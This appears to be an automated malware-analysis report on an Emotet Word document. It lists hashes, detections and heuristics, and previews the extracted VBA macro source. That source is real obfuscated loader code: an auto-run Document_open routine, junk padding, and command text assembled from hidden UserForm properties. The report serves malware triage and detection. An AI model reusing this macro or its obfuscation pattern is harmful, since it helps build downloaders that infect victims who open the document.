Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1eefe496a9abc694…

MALICIOUS

Office (OLE)

196.3 KB Created: 2019-12-18 15:09:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: dbbfb4d5ab634e44443ba1b06863c085 SHA-1: d0b3cbe0069e7be99cd16957aa98253969a8a926 SHA-256: 1eefe496a9abc6949c2a478a5c488fdc359614312f58e02984aecc2a92bd027f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager that uses CreateObject. ClamAV identifies the file as 'Doc.Downloader.Emotet-7465579-0', strongly suggesting Emotet family involvement. The obfuscated VBA code likely functions as a downloader for a second-stage payload, a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7465579-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7465579-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10690 bytes
SHA-256: 304aa0c084bb33e315603e18d924579f66af8ac51d66f8ded3c4f581e087bc4a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Oqcpczya"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Tgkrnayc, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Mroxvsnsni
         Case Dndoetjf
   Cpljnkokojqg = Sin(Dnlzzswmxicnx)
   Loforoyllf = CStr(Dtrnwwfl)
   Kgdypschz = 324
   Xcvkrzje = Sin(Tvptsfvfrscvd)
   Ktzgiefpcgrwc = CStr(Vgoiqkofwnhbi)
   Bzrmhgkyuvofn = 567
   Isbuwvhu = Sin(Wocsacxveer)
   Xqkiuncebsv = CStr(Aoycufeyksi)
   Srkjikdcdemn = 5645
End Select
For Kjvwhnmcj = Kmbrnycc To Lurkkblwjloh
      While Ppwbsgpinhxx <> Qfjllmzpdm
         Agzlncnhcx = Jufdgkmn * Atn(Feccvmta) * (Fggjicuuju + Dicqhwitzjmz)
      Wend
Next
   Select Case Gohbcutmpb
         Case Yusfzmlnvm
   Ouwwvwflivh = Sin(Izcyxegjx)
   Nehrjlqtltni = CStr(Rtwfddmmxqnip)
   Xdrkdiqon = 324
   Enunvqfagljeu = Sin(Ahqeavslo)
   Ytpbeidgyzsjv = CStr(Prxnzxew)
   Xjbblcgxzr = 567
   Egbanhiixv = Sin(Gbobqyuxhshyc)
   Wmlwesemrl = CStr(Wozlccevkn)
   Axndmycyi = 5645
End Select
For Vlzcecoxpq = Jihfwxjbjhevh To Asjbbbcd
      While Zztwqpql <> Vftfaytc
         Dvabnegpo = Ehcxyqfss * Atn(Hafvzdacha) * (Zezrilibwcxq + Ibhojwusnzw)
      Wend
Next
   Select Case Maogpdidnvhzx
         Case Ceouocembji
   Jteecsewaqd = Sin(Wqktdcjbkjby)
   Innwgcsutqdx = CStr(Uboldvgnchg)
   Ozkdflxwintw = 324
   Cxuqgxuh = Sin(Qvvoulfqaldu)
   Xlhslouopu = CStr(Hrzjwhqpnkp)
   Widwcxhn = 567
   Uqcvubbfbkee = Sin(Roweuzmwxqp)
   Snxwcayfsul = CStr(Lfozxsumena)
   Hgxsmgokjrdo = 5645
End Select
For Okyukifn = Yswlenawt To Shzhfhdcnkkv
      While Bgspuntyq <> Jdfvrhutkwdy
         Abluwnwif = Hgzuytrfn * Atn(Yhwdqcdjy) * (Ktliethyb + Ojavymdl)
      Wend
Next
Ssfvvbokicf
End Sub

Attribute VB_Name = "Gqgebiwuy"
Attribute VB_Base = "0{0562E1D4-053B-47CF-9BCB-FBCBA1790242}{AEF8FBD6-8092-4120-A55C-2F111E107B74}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Znimzghmnitmj"
Function Figmhqxs()
   Select Case Yfucfzfmvr
         Case Xpjzsvkioklj
   Kiqkfphyoj = Sin(Fqwdqyrqwe)
   Snnexouk = CStr(Pxwlmjlzaakj)
   Mltmsoqfjpsr = 324
   Baodlmbz = Sin(Mheweyqix)
   Luisicknhtug = CStr(Algydsmeozkkt)
   Yjuijpfgld = 567
   Mymsbvydmkk = Sin(Ghgiiyjj)
   Jzxzjuevut = CStr(Fbhjouwy)
   Aidhzydfahkpc = 5645
End Select
For Vojiopay = Ebyjomdv To Pwbvgspttqqzo
      While Gnqzjajxgvwe <> Vhtrtnznnb
         Hepkemsq = Mvbzfyvajnthy * Atn(Hvstsapcisehv) * (Medxuxquha + Rigaggoxrzx)
      Wend
Next
Oqnodyhufx = Oqcpczya.Tgkrnayc
   Select Case Rjrmcybynxfhz
         Case Zlktkfezwncj
   Ctmgslgbe = Sin(Fsouolobpjx)
   Zqnjvzapeskd = CStr(Gsmyhfde)
   Eibniiwfytg = 324
   Xffeabzdrvkij = Sin(Qqqudyenxn)
   Wffzufupsbbcd = CStr(Nmrfzflohc)
   Zssirtedymvpd = 567
   Soonqpmrafi = Sin(Kqxwjgvwztk)
   Knarcblssatou = CStr(Bscjmnshpyf)
   Qsvefreyqidg = 5645
End Select
For Sqdhoxivhqbwl = Lswfsbzeo To Fokjzcpo
      While Lrrzkvledjg <> Fqgaexsmpyls
         Xrygwsqzbf = Foalawtwe * Atn(Clrhewsfgqln) * (Cjscfoauw + Mdxoyxge)
      Wend
Next
Xvulchkxkucla = Oqnodyhufx + Gqgebiwuy.Laoxdtqxzy + Gqgebiwuy.Cicpadkjmsazz + Gqgebiwuy.Rkkcffuyok
   Select Case Rmibztuvpkrxj
         Case Zyzxqstdjimc
   Seykbocyei = Sin(Sshfrhncrkt)
   Gxjzsmqtm = CStr(Tmhvsaurx)
   Avdrepxrhkrfv = 324
   Zlvjxgubmear = Sin(Qcjfgxnwbhb)
   Qubhmfzbivnc = CStr(Urmexmaqi)
   Ptfdjoibldgkx = 567
   Lohhvdmqse = Sin(Djuamthw)
   Yzgfbhdngoql = CStr(Iamwccmyul)
   Rdurprasqiaq = 5645
End Select
For Nfyamshis = Luigaevbj To Toyykjvz
      While Uxphztylkjkij <> Rlqdeosonmkbn
         Msllrxtzalwpy = Keucsxfvvhb * Atn(Uprkdmws) * (Nyympshyuhxbf + Pahwpeqpqe)
      Wend
Next
Tpxqbodccsq = Xvulchkxkucla
... (truncated)

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